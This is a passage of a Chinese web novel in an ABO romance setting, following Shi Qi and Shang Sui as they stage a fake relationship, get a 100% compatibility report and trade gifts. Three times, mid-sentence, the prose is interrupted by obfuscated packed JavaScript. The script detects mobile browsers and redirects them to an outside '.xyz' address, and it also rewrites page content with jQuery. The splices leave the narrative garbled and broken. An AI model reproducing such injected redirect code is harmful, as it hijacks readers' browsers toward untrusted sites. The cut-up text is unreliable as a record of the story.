如果没有傅思越,时安很可能会在无可奈何之下顺应时绮的选择,让时绮去过自由却短暂的人生;但因为有傅思越这个“解药”,时安才会抓住一线希望,不断逼迫时绮。 不管傅思越想做什么,时绮得病已经很不容易,待会儿一定要找机会搅黄傅思越的大计。 想到这里,事件的中心已经不知不觉走到宿舍楼下。 林言一眼瞧见时绮身边还跟了一个人,以为是路过的学生。脑子里掠过我操好帅、闪瞎眼了、我们学校竟然还有这种高级货……等等诸多念头。 不对,现在不是看帅哥的时候。 想起今早时绮因为家庭检查如临大敌,林言问:“你还好吗?” 时绮点了点头。一直关注着他的傅思越见缝插针道:“你终于回来了,我有话想跟你说。” 时绮冷酷地吐出一个字:“放。” “?”这是让他有屁就放的意思? “我听说你们家今天做了检查,你的情况……一直很特殊,没有好转的迹象。” 出于礼貌,时绮在傅思越说话时看向他。 时绮的眼珠比一般人圆一些,看人的时候,很容易给人专注的错觉。 一想到这么漂亮的Omega,却因为腺体缺失,只能够拥有比旁人短暂的寿命,傅思越心中涌起一股强烈的冲动:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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表白现场已经彻底乱成一锅粥,尽管不知道事情是怎么发展到这个地步的,但比看傅思越演苦情戏要有趣得多。 最重要的是,这样不会让时绮膈应。 “牛逼啊宝宝。” 林言真心实意竖起拇指,唯恐天下不大乱:“这帅哥你上哪儿找的,这么会来事,我也想找一个。” 傅思越瞬间被林言带偏,盯着商随道:“原来你还是真是干这行的……你是不是想方设法哄骗他了?他从小就特别单纯,根本不懂得人心险恶!” 这番矫揉造作的竹马情令时绮起了一身鸡皮疙瘩:“滚,少跟我套近乎。” 傅思越不舍得攻击他,只能颤抖着攻击商随:“听见了没?人家叫你滚,你真不要脸,怎么能做出这种事?!” 不料商随丝毫不受影响,金句频出:“不被爱的时候,脸有什么用?” 现场状况太过激烈,已经有人停下脚步围观。 眼看着林言跃跃欲试还想说什么,时绮头痛不已:“你们,都给我停下——” 他的声音不高,却令所有人停下吵闹,齐刷刷朝他看去。 时绮似乎真的有些生气,一张小脸冷若冰霜,反倒显得他更加鲜活,令人挪不开视线。 商随安静好一会儿,乖乖道:“我错了。” “……没说你。” 明知道事情是他挑起来的,时绮还是没多责怪,轻轻放下道:“但你也消停点。” 旁边的傅思越不可置信看着这一幕。 这还是时绮吗?也太偏心了! 商随闹够了,又绕回最初的话题:“那你跟你朋友介绍一下我?” 闹这么一大圈,他其实只想听这一句话。 他来介绍也可以,但他更想让时绮亲口承认。 既然已经说好要扮演情侣,那他稍微行使一下男朋友的权利,也不算过火吧。 刚才还威风凛凛的人像是被人扼住了脖颈,时绮动了动唇,又一次沉默下来。 “说吧。”商随道。 轻柔缱绻的声音令大脑犹如过电,时绮受到引导一般,有意识的时候已经开了口:“他叫商随。” 说出名字的一刹那,似乎有什么悄然改变。 明知这一切不是真实的,也像给出了心底的一部分偏爱,和另一个人产生虚假却亲密的联系。 “他现在是我的……男朋友。” 8.珍惜 “他真的是你男朋友?” 回到宿舍,林言把门一关,一人摆出三堂会审的架势:“坦白从宽抗拒从严,不说真话今晚陪你熬鹰。” “不是。”时绮直截了当,“就是朋友。” “……”林言已经做好磨到凌晨的准备,顿时傻眼道,“这么干脆?” “没想瞒着你。” 为了彻底断掉家里的催促,至少等到一年后他真正变成Beta,才能跟时安他们说真话。在此之前为防意外,知道他和商随假扮情侣的人越少越好。 不过林言跟他太过熟悉,没有瞒着的必要。 时绮边说边拿了睡衣,准备去洗澡,扭头一看,林言一脸感动:“呜呜呜!好宝宝!不枉我含辛茹苦这么多年,一把抑制剂一把阻隔剂将你养大……” 时绮:“好的,可以了,收。” 林言:“。” 林言收起戏瘾,转而认真问:“但这到底怎么一回事,你怎么会找他当你男朋友?” 时绮停下脚步,开始跟林言解释。 他只说了假扮情侣的部分,考虑到商随已经离开了绘涧,没有提这段经历。聆听过程中林言表情精彩纷呈,最后感慨道:“我以为高中过后你的叛逆期就结束了,原来才刚刚开始。” 林言话锋一转,竖起拇指:“不过我支持你,若为自由故,万事皆可抛。你别说,假扮情侣还真是个不错的主意。” “哎时绮,你还记得高中的时候,咱俩讨论喜欢什么类型的Alpha吗?” 林言和时绮从小到大都读同一所学校,高中直接分到一个班,当了同桌。 青春期天然会对异性产生好奇,上课开小差的时候,林言经常拉着时绮聊天。 “我当时说你就喜欢不像好人的,你还不承认,殊不知每次看电影动漫你都会爱上反派,一切都在我的观察中。”林言洋洋得意说完,想起今天被商随搅得鸡飞狗跳的场面,“我没说错吧?今天这个Alpha,一看就有八百个心眼子。” 时绮熟练地跟林言相互揭短:“比起这个,有件事我记得更清楚。” “什么?” “你高二有一次没带抑制剂,刚好被追你那体育生堵了。” 林言沉默片刻,只觉得往事不堪回首:“那天确实惊险。” 因为发情期,林言脑子都烧得不太清醒,跟Alpha拉拉扯扯,如果真的发生意外,后果不堪设想。 幸好时绮从天而降,直接把人踹出去几米远。 时绮不仅赶走了纠缠他的Alpha,还将抑制剂一把拍林言手里:“自己能打吗?不能我帮你。” 回想起林言眼泪汪汪注视他的模样,时绮笑了一声:“你当时哭着抱住我大喊你怎么才来啊,我一个人好害怕。好巧不巧,被路过的班主任看见,隔天他就问我们是不是在早恋。” “……” “他还说Omega和Omega谈恋爱不好,劝了我们半个小时,然后就把我俩座位调开了。” 林言有点尴尬:“你记这么清楚呢。” 时绮:“因为你很搞笑。” 说到这里,两个人都忍不住笑起来。 “对了,商随是做什么的?”林言有些好奇地问。 时绮停顿片刻,心想幸好商随换了份工作,不然说他是陪聊吧……虽然也不是不行,总显得没那么正经。 “秦书赫他们的助教。” “搞艺术的?难怪那么花枝招……不是,我意思是这么年轻就当上美院的助教,真是前途无量。” 说到这里,时绮也觉得很是神奇。 之前太过匆忙,他都没来得及仔细问问商随换工作的事情。秦书赫嘴巴不靠谱,但他们学校是国内数一数二的美院,商随说进去就进去,能力应该相当出众。 这样的话,他为什么还要去绘涧当侍应生? ……哦,绘涧钱多,进去捞一笔也不无道理。 “那他帮你这么大一个忙,你至少得请他吃个饭吧?”林言的声音打断了时绮的思绪,“感觉大宴三天都不足以报答这份恩情。” 听时绮的描述,商随和他认识也才不久,看起来倒不像有什么坏心思,但是…… 真的有一个Alpha帮一个Omega的忙,却不求任何回报吗? 有时候看不出代价的东西,才是最昂贵的。 “请吃饭肯定不够,但我暂时也想不到怎么回报他。”时绮想了半天,最后拍板,“以后再说吧。” - 出去度假之前,虞晚特意来了一趟商随这边,想看看他过得怎么样。 虞晚是知名的芭蕾舞演员,即使上了年纪,依旧高瘦挺拔、容姿美丽。商随的外貌很大一部分遗传自她。 跟几个月前不同,房子里逐渐多了许多布置。 沙发上散落着颜色各异的抱枕、岛台插着娇艳欲滴的花朵,原先平平无奇的餐桌和茶几直接被商随换了一套,柔软的长毛地毯舒适得令人想光脚行走。 “我没想到你会留下来。” 虞晚见他正在手机上挑选造型各异的长毛沙发,最后下单了一个粉色的,有些意外地说。 她知道商随一直这样,有一点轻微的强迫症。 他喜欢周围的一切都漂漂亮亮的。现在有心思打扮房子,说明他有在这里长住的意向。 原本以为商随会待在国外,或者回国后常年旅居,毕竟毕业后的一年他都是这样度过的。想不到他不仅选择留在首都,还答应谢教授去学校当助教。 虞晚好奇地问:“你最近遇见了什么感兴趣的事情吗?” 本来只是随口一提,商随却收起手机,嗯了一声。 虞晚神情微微变化,似乎想说什么,最后只是朝他笑笑。 商随见状,主动提起自己的事情:“对了,我今年还有一次心理测评没做,准备年前找个时间做了。” 相较于普通Alpha,拥有特殊易感期的Alpha更具攻击性、更为极端,一部分还有潜藏的精神变态等问题。 为避免造成意外,特殊易感期的Alpha需要定期进行心理测评,若结果异常,会受到监管或隔离。心理测评一年至少三次,可以去指定的机构、或自行与拥有执照的医生联系。商随就有一位固定的私人医生。 “啊,那要不要我陪你——” “不用,您一天到晚别瞎担心。”商随打断她,“我就是顺口说说。您跟我爸放心出去玩儿,忘不掉自己叫什么别回来。” 虞晚沉默片刻,失笑道:“那也不能玩到这种程度。” 但因为这一句玩笑话,她心情放松了不少。 从查出商随有特殊易感期开始,每一次她都忍不住担忧,不仅因为特殊易感期本身十分难熬,也因为……一些往事,她和丈夫商曜一直很愧疚,始终觉得对商随有所亏欠。 说到这里,商随看了眼收到的新消息,起身对虞晚说:“我还有事,先走了?您自己待一会儿吧。” 他贱嗖嗖地补了一句:“别客气,就当是自己家。” “……会的,谢谢。” 离开之前,虞晚还是忍不住叫住他:“小随。” 见他回过头,有些疑惑地看向自己,虞晚说不出心里是什么滋味。 不知是性格如此、还是其他的原因,商随有时候看起来空空荡荡的,好像对什么都提不起兴趣。 虞晚最后柔声道:“遇见感兴趣的事情,要好好对待哦。” “当然了,”商随也笑了笑,“我会很珍惜的。” - 在医院见到商随,时绮朝他挥挥手。 他们约好来做一个匹配度报告,拿到以后,时绮会正式跟家里宣布找了个男朋友。 哪怕这个男朋友来得比较突然、听上去没什么可信度,时绮也准备先斩后奏,家里人相不相信后面再说。 时绮同时做了两手准备,如果他和商随匹配度过低,就直接上演“为爱不顾一切”的剧本,就这么叛逆地应对时安的催促。 大多数来检查匹配度的都是有结婚意向的Alpha和O ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832472|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' mega,时绮看见好几对恩恩爱爱的小情侣手挽手走过去,在这种洋溢着幸福甜蜜的氛围里,他有点儿不自在,主动找话题道: “你当秦书赫他们助教,是教哪一种画?” “油画。”商随有些好笑,“你不知道你朋友的专业吗?” 时绮摇摇头:“我对他唯一好奇的时候,是这局游戏他又要选什么辅助来坑我。” 商随不禁勾起唇角,正要说话。 “119号——” 广播在这时叫到了他们。时绮原本也想开口说什么,护士问:“119号在吗?” 这种叫学号的方式令时绮条件反射举起手。他俩外表出众、看着很是相配,护士笑意盈盈地说:“是你们两位吧?快来。” 检测开始前,商随道:“有机会的话,给你看看我的画。” 时绮眼睛一亮,立即点点头。 …… …… 检测结束后,需要等一会儿才能拿到具体的匹配度报告。商随下楼买饮料,时绮一个人坐在长椅上等候。 置顶的群聊在这时接连不断弹出消息,时绮抬手点开。 时安知道时绮经常不看微信消息,要求他把家庭群置顶。此时里面一片混乱,连平常不怎么说话的姜礼都在冒泡。 时安:[小绮!你什么时候找了个男朋友???!] 时绮意外地看着这行字。 17:[您怎么知道的?] 时安:[刚才听傅阿姨说的,傅思越回去哭了一晚,易感期都被哭提前了,又续上哭了三天。] 时安:[唉,这孩子……] 时安:[他其实从小就很喜欢你。] 时绮毫无怜悯之心。 17:[别哭了,小心福气被哭没了。] 时安:[……] 姜礼:[。] 姜宥宁和时绮一样无所畏惧,发出一串惊天爆笑。 姜宥宁:[哈哈哈哈哈哈哈哈哈哈哈哈哈!] 计划赶不上变化。时绮干脆将通知家里这一步提前,引用了那条关于“男朋友”的消息。 17:[对,我正在跟他做匹配度报告。] 17:[一会儿结果出来告诉你们。] 这下姜宥宁也笑不出来了。她和时安一起发了一大堆问号,开始逼问时绮是怎么和人认识的、怎么会一声不吭谈恋爱、那之前催婚的时候为什么不告诉家里?…… 时绮看着不断冒出的问题一个头两个大。他还没和商随对过台本,有些都不知道该如何回复。 时安在这时问了一句:[你男朋友是做什么的呀?] 这个可以回。 17:[美院的助教。] 时安迟疑道:[助教?……宝宝,你花钱大手大脚的,他养得起你吗?] 17:[不需要他养,我以后自己能赚钱。] 时绮想到什么,补了一句。 17:[我养他也行。] 一直没说话的姜礼:[?] 时安更是大惊失色。时绮这话听着不像本人,更像被牛郎骗钱骗心的白富美,这种肥皂剧都不演的三俗剧本跟他们家小儿子怎么看怎么不搭边。 震惊过后,时安充满怀疑地问:[时绮,你说实话,你不会随便找了一个人来糊弄我吧?] 您还挺聪明。 不过人不是随便找的。 时绮正想回复,一道干净又磁性的声音打断了他的动作。 “给,你要的桃子汽水。” 映入视野里的手指戴了蛇骨造型的戒指,愈发衬得骨节明显,肤色白皙。 往上看,是独属于Alpha的、修长又结实的手臂。 商随维持着递东西的动作,指尖勾起,单手帮他打开易拉罐拉环。 “谢谢。” 时绮和他对视片刻,接过这罐包装颜色明媚的汽水,低头打字回复。 17:[骗您干嘛。] 17:[他有钱没钱不重要,我有情饮水饱。] 9.匹配度 “——119号,可以来领取报告了。” 时绮听见通知收起手机,暂时把吵吵嚷嚷的家庭群抛到一边:“走吧?” 商随点点头,和他一起进了咨询室。 房间里有负责解读报告的医生,时绮还没踏进去,先传来一声真挚的祝贺:“恭喜。” 时绮脚步一顿,险些以为自己误入婚姻登记所。 医生看他面露疑惑,笑着说明:“两位的匹配度非常惊人,达到了罕见的100%。” 跟在后面的护士同样祝贺道:“恭喜呀!我们医院第一次测出这么高的匹配度!刚才我们都以为机器出了问题,特意测试了两次。” 100%……? 时绮有些茫然,下意识朝身边看去。商随正好垂眸看他,似乎也感到意外。 看见这一幕护士嘴角上扬,显然觉得他俩十分甜蜜恩爱。 “通常情况下,我们建议50%及以上匹配度的Alpha和Omega结为伴侣,70%以上为高匹配度,这种几乎只能在资料里见到的100%……我们称为天作之合、命中注定。” 医生说完,将报告递给他们:“似乎已经没什么讲解的必要了,两位可以自己看看报告,如果有疑问再来咨询。” 出咨询室后,时绮拿着手里的报告,还觉得有些不真实。 商随比他适应得快一些,已经开始翻看报告。匹配度检测会收集基本的身体数据,时绮看见商随身高那一栏的188.5cm,视线向下看见自己的177cm,不由得沉默须臾。 “有一段时间,我觉得我的名字有问题。” “为什么?”商随停下翻看的动作,听他说话。 “如果不是这个名字,说不定我还能再长高一点。” 商随反应了一下。 时绮,177? 他一下子笑了出来,真心实意安慰:“现在这样就很好了。” 说着商随翻过一页,目光落在时绮的信息素类别上。时绮同样注意到了他在看什么,不自在地问:“你看够了没,怎么还不翻页?” “第一次见,感觉很新奇。” 当初认识的的时候,时绮还没分化,他连时绮长大以后会成为Omega、Beta还是Alpha都不知道。 商随加了一句:“这种花很可爱。” 时绮的信息素是一种很漂亮也很纯洁的花,能想象到花朵一簇簇盛开的模样。 “……”时绮嘀咕道,“少见多怪,Omega基本都是花香或者果香再不然就是牛奶草莓巧克力一类的——你那种甜兮兮的信息素在Alpha里才少见吧。” 他一口气不带喘地说完,商随突然叫了一声:“小绮。” “?” “害羞了吗?”商随笑眯眯地问。 时绮恼羞成怒,一把抢过报告:“别看了,我要拍照!” 商随见好就收,没再闹腾,看着他咔咔两下拍好匹配度百分百那一页。而后似乎想到什么,时绮特意裁掉商随的个人信息,扭头看他。 “我爸是个事儿精,他肯定会问东问西的。你不愿意透露的事情就直接告诉我,我不会跟他们说。” “没关系,我没什么介意的。”说完这句话,商随补充道,“不过我觉得,为了更有可信度,你可以把这件事循序渐进告诉他们。” 像刚才那样上来就是一句我跟我男朋友在做匹配度报告,效果太过炸裂,引得时安都开始怀疑真实性。 时绮微微蹙眉:“但我已经直说了。” 他跟商随提了先前的事,听完以后,商随思考了一小会儿。 “这样的话,要不要找个机会告诉他们,我们以前认识?” 时绮一愣:“嗯?” 剧本编这么跌宕起伏吗? “因为过去就有好感,相熟起来很快,才能在短时间内成为情侣。” “这样听起来,应该更容易让人相信?” 这个想法乍一听不可思议,仔细想想,倒真有几分道理,也能解答时安和姜宥宁的大部分疑惑。 “那……我们什么时候见过?” 商随注视着他明亮剔透的眼睛,放缓声音回答:“你十四岁左右的时候。” 时绮若有所思。 那几年他们一家每到夏天就会外出度假,常常是找一个地方住下来,连续待上很多天。时安和姜礼会去过二人世界。他倒确实有可能偷偷认识一个陌生的Alpha。 不过商随运气真好,随口编一个故事都能对应上现实。 商随看着他毫无察觉的面容,尽管早已知晓他遗忘了过去,心中仍是涌起复杂难言的情绪。 有挫败,也有早知如此的释然,以及一些不知道是否该存在的庆幸。 商随见他点头同意了这个提议,最后道:“先跟你的家人提一提,具体的后面再说吧。” 他对商随的安排有一种天然的信任。时绮没怎么犹豫点开群聊,回复了时安之前问他怎么和人认识、为什么会突然找个人谈恋爱的消息。 17:[不是突然谈恋爱,我小时候和他见过。] 时安半信半疑:[什么时候?] 这下换姜宥宁不干了:[小绮?你不告诉爸爸们就算了,怎么能瞒着姐姐呢?] 姜宥宁越想越不满意:[我每次谈恋爱可都一五一十告诉你,我连被甩都告诉你了!] 时绮暂时没工夫安抚她,他把匹配度的照片发了出去。 姜宥宁:[我X!!!!] 大概是感觉在长辈面前说脏话不好,她迅速撤回这条消息,但又忍不住问:[这是真的还是P的?!] 之前还持怀疑态度的时安瞬间变脸:[宝宝,你男朋友多久有时间,我们见个面吧?] 见家长暂时不在时绮的考虑范围内,他干脆利落拒绝。 17:[不见。] 17:[你们会吓到他的。] 时安:[?] 时安:[你是Omega还是他是Omega?] 17:[我是,但刻板印象不可取。] 时安:[……] 姜宥宁从来没见过如此高的匹配度,饶是时绮拒绝也好奇得厉害:[发张照片总行吧?] 那得征求一下当事人的意见。 时绮扭过头,在他跟家人聊天的时候,商随没有看他的聊天内容,而是自顾自地在一旁玩手机。 时绮迅速扫了一眼,商随好像是在……买衣服?挑的还不是当季的衣服,而是轻薄的衬衫。 难怪时时刻刻看着都这么精致。 他还没见过比商随更爱打扮的Alpha。时绮毫不怀疑,如果不是对方本身有信息素,每一次见到商随他都会给自己用上不同气味的香水。 “我家里人想看你的照片,我不拍脸,随便拍一下其他地方可以吗?” “好啊。”商随收起手机,“拍脸也可以,这个我比较拿得出手。” “……”时绮无法反驳。 但他没打算让商随露脸,一是样貌比较隐私,尽管商随说不介意,时绮也感觉不太合适;二是时绮这次学会了循序渐进,这张脸要在必要时刻作为终结技使用。 他用摄像头对着商随咔嚓了一下。照片上的Alpha宽肩窄腰,即使是胡乱找的角度,也能看出身材很好。 这张不露脸的照片时绮还挺满意,正要发出去,商随忽然凑了过来。 时绮的鼻尖掠过一点点若有若无的、馥郁甜蜜的香味,轻盈美妙得犹如气泡。 商随看着这张照片,点评道:“这样太生疏,我们看起来不怎么熟悉。” 时绮没有说话。因为商随突然靠近,抓住手机的五指无意识用力。 商随好像没察觉到他的紧张,神情自若地问:“我能牵你的手吗?” 时绮大脑紧绷,不知不觉点了头。 几乎是他刚答应,属于另一个人的体温便覆了上来,Alpha手背凸起的青筋明显,肤色如同白玉。 相比之下,时绮的手指虽然纤长,整只手却要小很多,透着粉色的指尖像是颤巍巍的花苞。 肌肤相触的一刻,时绮不自觉想要挣脱,被商随稍微用了些力气制住,五指一点一点插进时绮指缝间的空隙处。指尖下扣,最后和时绮手掌相抵。 “可以拍了。” “什么?”时绮完全没能反应过来。 商随见他呆呆的,忍不住弯起唇,用另一只手解锁屏幕,对着他们相扣的十指拍了一张。 松开之前他恶作剧似地捏了一下时绮的指尖,也不管对方的反应,又若无其事退回到安全的距离。 “发这个吧。”商随把刚拍好的照片传给他,“这样比较像情侣。” - 那张十指相扣的暧昧照片效果卓群,时安没再追问,只让他们先好好相处。 时绮判断短时间内自己应该清闲了,不过从依旧被冻住的银行卡来看,时安还没完全相信他的话。 想到这里,时绮觉得应该向商随表示一下感谢。对方不要他的钱,送点礼物还是可以的。 就在他考虑买什么作为谢礼合适的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849780|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,秦书赫先找了过来。 因为话太多,秦书赫被时绮设置了消息免打扰,每次想打游戏联系不上时绮都只能找林言转达。 秦书赫大概只是想到时绮跟商随认识,来时绮这里碎碎念一下。 秦书赫:[新来的助教老师好牛逼。] 秦书赫:[他长太好了,最开始大家还以为是花瓶。今天老谢不在,他带了我们一节课,下来所有人都老实了。] [我第一次知道有人色感敏锐到这个地步,他稍微叫我调整了几个地方,画面质感立即变得不一样。] [我跪下了,这位是掌管色彩的神吧。] [难怪老谢之前天天念叨他多久能来学校,明明以前也找过其他人当助教,都没见这么挂念。我们上一个助教也很厉害,但还是不如商老师。] 这就叫上老师了? 时绮第一次看秦书赫碎碎念看得津津有味,多问了一句:[你们商老师是怎么被招进来的?] 秦书赫惊喜得如同冷宫里的妃子:[嗨呀皇上!您居然批阅我的消息了!] [我也不清楚,可能是老谢以前认识的学生?我们上一个助教就是这样,听说她家里条件不好,老谢特别惜才,想办法让她破格在我们这儿当了一段时间助教。] 时绮的目光停留在家庭条件不好上,想到商随之前在绘涧工作,顿时觉得一切都串联上了。 原来是这样吗? 时绮不由自主脑补了一个为追求艺术梦想进店打工的故事,越想越觉得合理。 17:[知道了,退朝吧。] 时绮说完,不管秦书赫对商随的一腔敬仰之情还没宣泄完毕,干脆利落退出聊天框。 商随的人生阅历还挺丰富的,难怪之前编什么小时候见过随口就来。 不过就算更了解了这个人一些,还是不知道送他什么合适。 思来想去,时绮最后决定按照此人的喜好,给他送衣服。 挑衣服花了不少时间,时绮最后选中一件宽宽大大的缎面棒球服。他最开始挑了黑色的,又觉得全黑对商随来说太单调,特意换成有亮橙色装饰的款式。 林言在宿舍看见印有Logo的购物袋,好奇道:“你平时不是不穿这个牌子的衣服吗?你嫌人家太花哨。” 时绮简单留下两个字:“谢礼。” 不等林言多问,时绮提着袋子出门。 商随今天恰好有一节课,两人约好下课后见面。 时绮对美院还算熟悉,有一次为了救急,他给秦书赫学服装设计的室友当过模特。凭着记忆一路走到教学楼下,见时间差不多,他按照商随给的信息上到五楼。 刚从楼梯拐角出来,他远远看见商随的身影。 时绮正想打招呼,一个长头发的女生从后面跑上来,先一步叫住商随。 女生手里提着粉色的小袋子,语气活泼地说:“商老师,这是我朋友亲手做的饼干。你前几天指导了她的作业,她很感谢你。” “她自己不好意思过来,我想帮她转交。” 比起助教老师,商随的年纪更像她们的学长,专业能力却出类拔萃。大家都很喜欢新来的助教。 不过商随虽然没什么架子,给人的感觉却不太好接近。大家对此倒十分理解,厉害的人嘛,自然都有一点儿个性。 朋友性格腼腆,即使有好感也不敢主动跟他搭话。 女生试探性地问:“方便收下吗?” “替我谢谢你朋友。”商随道完谢,却没有接礼物,“指导作业是我该做的,不用这么客气。” 女生明白了他的意思:“好的好的,不好意思,打扰了!” 她犹豫片刻,开玩笑补了一句:“老师你不会因为这个给我们打低分吧?” “当然不会。”商随也笑了笑,“不过下次上课不能开小差。” 哇,笑起来真帅。 也很会讲话。 女生在心里感慨过后,笑吟吟地跟他告别。商随转过身,却没想到隔着半条走廊,时绮冲他挑了一下眉。 冬日里难得阳光盛大的好天气,时绮沐浴在温暖到令人眩晕的金色里,肌肤和发丝都被照得浅淡剔透,像幻想故事里才会存在的生灵。 稍不注意就会消失的天使……一类的? 商随止住发散的思维。 不知道刚才那一幕时绮看见了多少,他下意识加快脚步,走近又觉得没必要担心,时绮应该压根不会在乎。 “这位很受欢迎的商老师,”小天使撩起眼皮,慢吞吞地说,“可以收下我的礼物吗?” 10.回礼 时绮深灰色的眼眸湿漉漉的,一错不错盯着商随。 尽管知道对方大概率不会拒绝,但因为刚才那一幕,一些微妙的情绪夹杂其中。时绮索性一声不吭等待回答。 殊不知他这副样子,落在另一个人眼里更像是突然带来惊喜的天使。 而且是第一次下凡,业务不太熟练那种。 商随在脑海中过了一遍他的话,才问道:“给我的礼物吗?” 时绮不置可否:“这里还有第二个商老师?” “因为太高兴,忍不住再确认一次。”商随朝他笑起来,从时绮手里接过袋子,“我没想过能收到你的礼物,谢谢。” 商随的反应给足了情绪价值,时绮心里那点儿紧张烟消云散,他拽拽地嗯了一声,又补了一句:“不用谢。” “可以看看吗?” “你的礼物,你当然想怎么都行。” 商随拆开层层叠叠的包装,看见一件黑橙相间、跟时绮日常穿搭风格完全不同的缎面棒球服,立即反应过来是时绮特意给他挑的。 “衣服很好看。我最近还挺喜欢这种颜色搭配的,自己也想买类似的款式。” 这句确实是真话。因为心情好,商随声音都透出笑意,十分勾人:“谢谢小绮,我们很有默契呢。” “……嗯。” 商随太过自来熟,时绮已经开始习惯被他叫小名:“你喜欢就好。” “不过为什么会想送我衣服?”商随好奇道。 “你陪我做了匹配度检测,还拍了照片。” 时绮看他把外套放回袋子里,以为他说了一圈还是不太好意思收下,加快语速解释:“就算是朋友之间,帮了忙也要表示感谢吧。而且你帮了我很多。” 所以你就安安心心收下吧。 不然我把这玩意儿提回去,林言一定会问东问西的。 “原来是这样。”商随在他说完后道,“我会给你准备回礼的。” 嗯……? 时绮怔了一下,疑惑为什么他感谢商随、对方还要回礼,但转念一想,这样礼尚往来好像也不算见外。 不由自主地,时绮开始好奇。 他还会收到商随的回礼吗,会是什么? - 大剧院内灯光收束,猩红幕布伴随最后一个音节缓缓落下,全剧终了。 四周传来雷鸣般的掌声,谢幕时灯光重新亮起,主持人和演员一一上台鞠躬致谢。 江砚被吵醒后迷迷糊糊睁开眼,问身边人:“演完了?” “刚好结束。”商随回答。 “……下次见面能不能别选这么高雅的地方。” 江砚揉了揉眼睛。他开演十分钟便昏睡了过去,完全不知道商随是怎么津津有味看下来的。 来之前江砚看过这场音乐剧的简介,是一个有关恩怨纠葛的故事。 在遥远的古国,有一位善良的少年,偶然遇见一名从灰色地带逃脱、奄奄一息的囚犯。 囚犯本以为自己必死无疑,少年却对他心生怜悯。瞒下城里巡逻的护卫,暗中带来食物和水,然后是珍贵的药剂、御寒的衣服…… 囚犯曾经生活的地方与世隔绝,少年十分好奇,两人时常交谈。 在囚犯离开的那一天,少年和他道别,祝他一切顺利。 再次醒来时,少年看见的不是家里的天花板,窗外是囚犯曾经描述过的、混乱凶险的无序之地。 少年拯救了他人,自己却被囚犯拖入地狱之中。 后续的故事江砚没再细看,貌似是少年想方设法复仇,两人打打杀杀个没完。 好一出农夫与蛇的闹剧。 江砚在心里评价。 商随都懒得说他:“是你自己要跟来。” “因为我想跟你谈一谈绘涧的投资。”说到这个,江砚立即来了精神,“哪怕你只投一块钱也行!求你了小随哥哥。” 绘涧的运营情况还算不错,但始终没能像江砚设想中那样大火。前些他日子找大师算了一卦,大师说他距离成大事只差一位贵人相助。 商随投什么赚什么,运气好得惊人。江砚左看右看,认定商随就是他的贵人。 不过商随这人太有主意,通常不会轻易动摇。江砚已经做好长期游说的准备,商随却若有所思:“可以。” “嗯??”江砚一下子坐直,“你居然就这样同意了?!” “给你的回礼。” “什么?” “突然想到,你也算帮了我一个大忙。” 如果不是江砚那天找他看绘涧的庭院布置,他不会跟时绮重逢,还是以这样恰到好处的方式。 “我帮你什么了,我自己都不知道。”江砚回味了一下商随刚才的样子,顿时起了一身鸡皮疙瘩,“你语气怎么这么吓人呢?你别算计我啊,我脑子不好使。” 商随刚想说什么,江砚远远看见一道身影,表情一变。 “我去,沈千俞那个变态怎么也在。”江砚利落地起身,“你们聊吧我先走了。上次易感期我身体不舒服找沈千俞看病,他建议我切掉腺体,我建议他学医先学德,这人分明脑子有病——” 离开前他不忘叮嘱商随:“你别忘了答应我的事儿啊!回头我把合同发给你!” 等沈千俞走过来江砚已经不见人影,他抬手推了推细细的镜框:“江砚走了?” “他不想见你。” 沈千俞收回目光,打量商随少顷,似笑非笑道:“晚上好,少爷,您见到我有没有想起哪里不对?” 商随可疑地沉默片刻:“忘了。” 沈千俞是他的私人医生,两人也是多年好友。沈千俞年纪轻轻就当上了私立医院的副院长,做商随的医生完全是出于私交。 “你要不要看看手机,距离我给你发消息已经过去了一个月,你现在若无其事来一句忘了?” “我上个月就叫你来做心理测评,如果不是今天恰巧碰见,我都不知道上哪儿联系你。” “……”商随终于说出心里话,“不想做这玩意儿,看着就烦。” 沈千俞略微皱眉,某种程度上,他能理解商随为什么如此拖延。 特殊易感期的Alpha在大众眼中是危险的代名词。商随对心理测评一直能拖就拖,毕竟谁都不想被提醒自己是个异类。 尽管如此,今年还有不到两个月就要结束,测评做完后,上传到数据库审核还需要一定时间。 沈千俞劝道:“为了虞女士,你也该尽早把心理测评做了。” 特殊易感期的Alpha必须有一位担保人,Omega伴侣、家人、朋友都能成为担保人。 如果与Omega结合,Omega伴侣则会优先于所有关系自动成为担保人。目前商随的担保人是虞晚。 如果商随出什么意外,虞晚也会受到牵连。 “放心,我会踩着死线来的。” “……你这毛病真是没救了。” 对于习惯每件事提前做好详细规划的沈千俞来说,商随的散漫令人无法接受。 沈千俞头痛地看着他: “冒昧问一句,世界上存在你会秒回消息的人吗?” - 时绮没有想到,商随的回礼比预想中来得还要快。 距离在美院见面不到五天,他收到了一个快递。时绮本想让快递员直接扔学校站点,快递员却说是贵重件,要当面交给他。 